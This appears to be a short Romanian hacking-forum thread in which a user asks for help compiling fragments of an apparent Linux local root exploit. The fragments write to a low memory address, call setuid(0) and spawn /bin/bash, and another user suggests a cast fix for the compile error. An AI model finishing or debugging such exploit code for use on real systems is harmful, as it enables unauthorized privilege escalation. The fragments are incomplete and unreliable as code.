acidlsd Posted August 27, 2013 Report Posted August 27, 2013 gcc -o2 asd.casd.c: In function 'main':asd.c:59:3: warning: passing argument 1 of 'memcpy' makes pointer from integer without a cast [enabled by default]/usr/include/string.h:44:14: note: expected 'void * __restrict__' but argument is of type 'int'asd.c:63:3: warning: missing sentinel in function call [-Wformat]memcpy(1<<12, &patch_current, 1024); for (i = 0; i < (1<<17); i++) ((void**)(1<<12)) = &patch_current; send(f, n, sizeof(n), 0); setuid(0); return execl("/bin/bash", "-sh", 0);asta e codul.. nu stiu ce trebuie sa modific.. daca cineva poate sa ma ajute.. Quote
Nytro Posted August 27, 2013 Report Posted August 27, 2013 memcpy((void *)(1<<12), &patch_current, 1024); Quote
acidlsd Posted August 27, 2013 Author Report Posted August 27, 2013 an.c: In function 'main':an.c:60:19: error: invalid operands to binary << (have 'void *' and 'int') Quote